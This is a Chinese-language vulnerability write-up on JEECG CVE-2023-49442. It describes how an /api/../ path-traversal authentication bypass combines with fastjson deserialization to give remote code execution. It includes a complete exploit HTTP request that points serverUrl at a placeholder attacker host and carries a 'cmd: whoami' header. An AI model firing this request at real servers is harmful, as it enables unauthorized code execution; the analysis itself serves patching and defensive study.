JEECG代码执行漏洞-CVE-2023-49442
yecp 发表于 浙江 技术文章 7166浏览 · 2024-01-20 02:20

JEECG代码执行漏洞分析-CVE-2023-49442

漏洞描述

JEECG 4.0及之前版本中,由于接口鉴权时未过滤路径遍历,攻击者可构造url绕过鉴权,攻击者可构造恶意请求利用jeecgFormDemoController.do?interfaceTest接口进行远程代码执行

影响版本

  • <= 4.0

漏洞分析

根据 jeecgFormDemoController.do?interfaceTest定位漏洞代码


可以看到接受3个参数:serverUrl、requestBody、requestMethod,然后根据requestMethod的值调用HttpRequest.sendPost或HttpRequest.sendGet
这2个方法的区别就是发送get或post请求,请求传入的serverUrl


之后获取请求结果,调用JSONObject.parseObject(result)


因为这里使用的是fastjson


并且其版本为1.2.31,为漏洞版本


所以我们只要构造serverUrl回显的内容为fastjson代码执行的payload即可
但实际直接访问该路由是会302跳转的,应该是拦截器做了限制


观看代码,可以发现api接口,是不做限制的,只要以/api/开头就行


又因为其alwaysUseFullPath为值false,在处理过程中会对uri进行标准化处理,所以我们可以利用/api/../的形式来进行绕过

/api/../jeecgFormDemoController.do?interfaceTest=

漏洞利用

创建如下远程文件,其内容为fastjson代码执行的payload


发送如下请求包

POST /api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1
Host: 
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
cmd: whoami
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

serverUrl=http://xxxxxxxx:8877/jeecg.txt&requestBody=1&requestMethod=GET

漏洞利用成功

参考链接

https://avd.aliyun.com/detail?id=AVD-2023-49442

0 条评论
某人
表情
可输入 255